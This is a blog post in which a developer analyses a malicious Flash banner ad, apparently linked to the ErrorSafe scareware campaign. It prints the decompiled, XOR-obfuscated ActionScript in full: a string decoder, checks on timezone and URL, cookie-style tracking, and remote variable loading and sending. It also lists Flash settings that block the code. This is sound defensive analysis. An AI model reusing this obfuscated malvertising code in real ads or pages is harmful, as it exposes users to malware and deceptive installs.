De-constructing Malicious Flash

Last Friday I was approached by my boss to look into an advertisers banners due to reports of malware notifications when browsing our site. It sounded far fetched to think that Flash was executing malicious code on the client side browsers but I cracked open the SWF files with a de-compiler to take a look.

It was a mess, a little searching let me know that it was probably encrypted by Amayeta SWF Encrypt as seen from the review at Flash Valley. It turned out that my superiors had already confronted the client with the information that they suspected their ads of containing malware and the client replied with a fixed version that they had just handed over me to look at.

I wasn't going to stop there though and I found the original files to see if they matched. File size of the originals was smaller so I threw them through the de-compiler again and lo there was human readable code. Why would the client send over fixed files that were obfuscated when the originals were not?

Here is the code that I found sitting in an unassuming movieclip with not content other than the single frame and actionscript.

ACTIONSCRIPT:
  1. _root.c1 = "47ED02";
  2. _root.c2 = "46E91A247C";
  3. _root.c3 = "7FF817257C8DF8";
  4. _root.c4 = "50E70523";
  5. _root.c5 = "7FD7153B7080E795EA776F";
  6. _root.c6 = "48FC022723CCA3A8F36070509F2105CBA738D20F50A22FD09E2BB7495689293D5623312668";
  7. _root.c7 = "11";
  8. _root.c8 = "10";
  9. _root.c9 = "10";
  10. _root.c10 = "11";
  11. _root.c11 = "10";
  12. _root.c12 = "17";
  13. _root.c13 = "48FC022723CCA3";
  14. _root.c14 = "10";
  15. _root.c15 = "0DB1";
  16. _root.c16 = "10";
  17. _root.c17 = "48FC022723CCA3A7E67676518C201D9BA138D20F50A263C7922FAD031B923C634721342266E62EB8CBA9707F3088182CC3";
  18. _root.c18 = "14B8";
  19. _root.c19 = "53ED17257A8BF8A5F66B774FCB73559FE6268157";
  20. _root.c20 = "0F";
  21. _root.c21 = "11BF446F29D3BCFAAF";
  22. _root.c22 = "7FD7022D";
  23. _root.c23 = "7FFD043B";
  24. _root.c24 = "53FD14246D91";
  25. _root.c25 = "7FD7102363";
  26. _root.c26 = "7FD7103B6F";
  27. _root.c27 = "7FD710347188";
  28. _root.c28 = "53ED1833";
  29. _root.c29 = "47ED0203708EE9B0F06B666C9C2317CAA0";
  30. String.prototype.color = function (eslogan)
  31. {
  32.    var _loc3 = eslogan;
  33.    var result = "";
  34.    var _loc1;
  35.    var n;
  36.    var _loc2;
  37.    _loc1 = 0;
  38.    (n = this.length);
  39.    while (_loc1 <n)
  40.    {
  41.        _loc2 = parseInt(this.slice(_loc1, _loc1 + 2), 16) ^ _loc3>> 8 & 255;
  42.        if (_loc2> 127)
  43.        {
  44.            _loc2 = _loc2 + 848;
  45.        } // end if
  46.        result = result + String.fromCharCode(_loc2);
  47.        _loc3 = (_loc3 * 52845 + 22719) % 16777215;
  48.        _loc1 = _loc1 + 2;
  49.    } // end while
  50.        trace(result);
  51.    return (result);
  52. };
  53. _root[_root.c26.color(14688422)] = function ()
  54. {
  55.    var _loc1 = _root;
  56.    _loc1._visible = false;
  57.    _loc1.createEmptyMovieClip("emc", _loc1.getNextHighestDepth());
  58.    _loc1.emc.u = dt.getTime();
  59.    if (parseInt(_loc1.c10.color(14688422)))
  60.    {
  61.        _loc1.emc.loadVariables(_loc1.c17.color(14688422),_loc1.c1.color(14688422));
  62.        _loc1.i = setInterval(_loc1[_loc1.c27.color(14688422)], 100);
  63.        return;
  64.    } // end if
  65.    _loc1[_loc1.c27.color(14688422)]();
  66. };
  67. _root[_root.c27.color(14688422)] = function ()
  68. {
  69.    var _loc1 = _root;
  70.    if (_loc1.emc.stats == _loc1.c2.color(14688422) || !parseInt(_loc1.c10.color(14688422)))
  71.    {
  72.        clearInterval(_loc1.i);
  73.        new LoadVars()[_loc1.c28.color(14688422)](_loc1.c6.color(14688422),_loc1.c3.color(14688422), _loc1.c4.color(14688422));
  74.        so = SharedObject.getLocal(_loc1.c19.color(14688422),_loc1.c20.color(14688422));
  75.        so.data.uzhe = _loc1.uzhe = 1;
  76.        if (_loc1.emc.exp)
  77.        {
  78.            dt = new Date();
  79.            cr = dt.getTime();
  80.            so.data.expires = cr + _loc1.emc.exp * 24 * 60 * 60 * 1000;
  81.        } // end if
  82.        so.flush();
  83.        return;
  84.    } // end if
  85.    if (_loc1.emc.stats || --_loc1.lim == 0)
  86.    {
  87.        _loc1._visible = !(_loc1.uzhe && parseInt(_loc1.c9.color(14688422)));
  88.        clearInterval(_loc1.i);
  89.    } // end if
  90. };
  91. if (r == undefined)
  92. {
  93.    r = 1;
  94.    _root.uzhe = 0;
  95.    _root.lim = parseInt(_root.c18.color(14688422));
  96.    _root[_root.c22.color(14688422)] = -new Date()[_root.c29.color(14688422)]() / 60;
  97.    if (parseInt(_root.c18.color(14688422)) && (!parseInt(_root.c7.color(14688422)) || _root[_root.c23.color(14688422)][_root.c24.color(14688422)](parseInt(_root.c11.color(14688422)), parseInt(_root.c12.color(14688422))) == _root.c13.color(14688422)) && (!parseInt(_root.c14.color(14688422)) || !(_root[_root.c22.color(14688422)]>= parseInt(_root.c15.color(14688422)) && _root[_root.c22.color(14688422)] <= parseInt(_root.c16.color(14688422)))))
  98.    {
  99.        dt = new Date();
  100.        cr = dt.getTime();
  101.        so = SharedObject.getLocal(_root.c19.color(14688422), _root.c20.color(14688422));
  102.        _root.uzhe = so.data.uzhe;
  103.        _root._visible = !(_root.uzhe && parseInt(_root.c9.color(14688422)));
  104.        if (parseInt(_root.c8.color(14688422))> 1)
  105.        {
  106.            if (!so.data.expires)
  107.            {
  108.                so.data.expires = cr;
  109.            } // end if
  110.            ++so.data.view;
  111.        } // end if
  112.        if (cr> so.data.expires || so.data.view == parseInt(_root.c8.color(14688422)))
  113.        {
  114.            so.data.expires = cr + parseInt(_root.c21.color(14688422));
  115.            so.flush();
  116.            _root[_root.c26.color(14688422)]();
  117.        } // end if
  118.        so.flush();
  119.    } // end if
  120. } // end if
  121.  
  122. false;

Wow, it was like nothing I had ever seen before. I immediately stuck a trace at the end of the new String prototype for result to see just what types of information it was returning.

CODE:
  1. __flv
  2. __fchk
  3. 40
  4. __tz
  5. getTimezoneOffset
  6. 40
  7. 1
  8. 7
  9. 0
  10. _url
  11. substr
  12. http://
  13. __flv
  14. __fchk

The last two lines __flv and __fchk just kept repeating as the SWF played on. I turned to the search engines and started pasting parts of this code in to find someone else that had run into this. I turned up a txt file from the site Mike on Ads - Errorsafe. He even put together an example of what this type of code can do if you look at the comments of that post or just visit it directly at http://mikeonads.com/errorsafe_test.html (just don't click Yes when it prompts you to install stuff). As Mike pointed out this is circumvented with new security features in the Flash 9 player and setting AllowScriptAccess false in the HTML embed / object code.

I wanted to document my experience with this mainly to give another source of reference because Mike on Ads was the only reference to this code I could find and wasn't able to find anyone who could explain just what this code wants to do with the users browser.


One Response to “De-constructing Malicious Flash”  

  1. 1 Propiedad Privada » Blog Archive » De link varia


Leave a Reply